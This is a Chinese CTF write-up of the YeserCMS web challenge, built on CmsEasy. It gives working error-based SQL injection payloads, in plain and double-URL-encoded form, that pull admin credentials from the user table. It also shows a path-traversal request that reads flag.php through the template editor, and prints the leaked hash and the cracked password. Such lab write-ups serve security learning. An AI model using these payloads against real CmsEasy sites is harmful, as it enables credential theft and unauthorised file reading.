美文网首页CTF练习
CTF || 【“百度杯”CTF比赛 九月场 Web】Yeser

CTF || 【“百度杯”CTF比赛 九月场 Web】Yeser

作者: mirrorr | 来源:发表于2018-08-13 16:57 被阅读1224次

    【“百度杯”CTF比赛 九月场 Web】YeserCMS
    题目内容:新的CMS系统,帮忙测测是否有漏洞。tips:flag在网站根目录下的flag.php中
    分值:50分 类型:Web

    SQL注入、任意文件下载漏洞

    点击文档下载,评论区看到cmseasy。


    image.png

    搜索cmseasy公开漏洞,可以查到许多通用漏洞
    https://www.seebug.org/appdir/CmsEasy
    使用无限制报错注入
    https://www.seebug.org/vuldb/ssvid-94084

    celive/live/header.php同时postdataxajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
    用burpsuite抓包,发现postdata的数据被截断了,只显示xajax=Postdata&xajaxargs%5B0%5D=%3Cxjxquery%3E%3Cq%3Edetail,send to repeater,将这一部分替换为detail参数的部分用urlencode编码2次的数据(只用编码detail参数,xajax=Postdata&xajaxargs[0]=<xjxquery><q>和</q></xjxquery>不变),即xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Csubstring%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528username%252Cpassword%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>,go,可以看到返回

    XPATH syntax error: '[adminff512d4240cbbdeafada404677'<br /><br />INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--  (2018-08-13 15:52:38)','2')
    

    得到用户名和密码adminff512d4240cbbdeafada404677
    XPATH syntax error可以显示32位,其中[固定占以为。md5的长度也不够,还是需要调整1,32为7,39,来查看完整的md5
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252c(UpdateXML(1%252cCONCAT(0x5b%252csubstring((SELECT%252f**%252fGROUP_CONCAT(username%252cpassword)%2bfrom%2byesercms_user)%252c7%252c39)%252c0x5d)%252c1))%252cNULL%252cNULL%252cNULL%252cNULL%252cNULL%252cNULL)--%2b</q></xjxquery>
    repeater返回

    XPATH syntax error: '[f512d4240cbbdeafada404677ccbe61'<br /><br />INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),7,39),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--  (2018-08-13 16:22:21)','2')
    

    用户名admin,密码ff512d4240cbbdeafada404677ccbe61,md5解密为Yeser231。(抄个答案,http://www.cmd5.com/表示已查到,这是一条付费记录。请点击购买……)

    登陆-管理-模版当前模版编辑-编辑,抓包,repeater,将&id=#ditu_html改为&id=../../flag.php,go,返回

    {"content":"<textarea rows=\"20\" cols=\"78\" id=\"..\/..\/flag.php_content\" style=\"font-family: Fixedsys,verdana,宋体; font-size: 12px;\" name=\"..\/..\/flag.php_content\"><?php\necho 'flag is here';\n'flag{6a92aba5-a8f2-4147-ac14-79dc32fb5959}';\n<\/textarea>"}
    

    得到flag。

    关于无限制报错注入https://www.seebug.org/vuldb/ssvid-94084的分析
    其中payload的引号内部分经过两次URLdecode后为
    detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- 获取用户名|密码
    xxxxxx'闭合参数。
    0x5b是十六进制,5b对应[,5d对应]。
    concat(username,'|',password)是username|password
    GROUP_CONCAT(concat(username,'|',password))是username|password,sername|password,……
    SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user 其中/**/是注释,/*+ 提示 */ 来进行sql优化,如果写的HINTS语法错误,也就被忽略为注释了,sql并不会报错。Oracle Hints是一种机制,用来告诉优化器按照我们的告诉它的方式生成执行计划。从cmseasy_user中找出username和password。
    mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32)从第一个开始,选32个
    为什么有两次URLdecode?因为有两次URLencode,一次是parse_str(sQuery,aArray),这个函数,本身会对url编码进行一次decode;另一次是hackbar的postdata要编码,url为什么要编码

    参考
    https://blog.csdn.net/qq_19876131/article/details/52432140
    https://blog.csdn.net/qq_31481187/article/details/52602454
    https://bbs.ichunqiu.com/thread-17629-1-1.html?from=hot6
    http://www.bubuko.com/infodetail-2562477.html

    相关文章

      网友评论

        本文标题:CTF || 【“百度杯”CTF比赛 九月场 Web】Yeser

        本文链接:https://www.haomeiwen.com/subject/asmubftx.html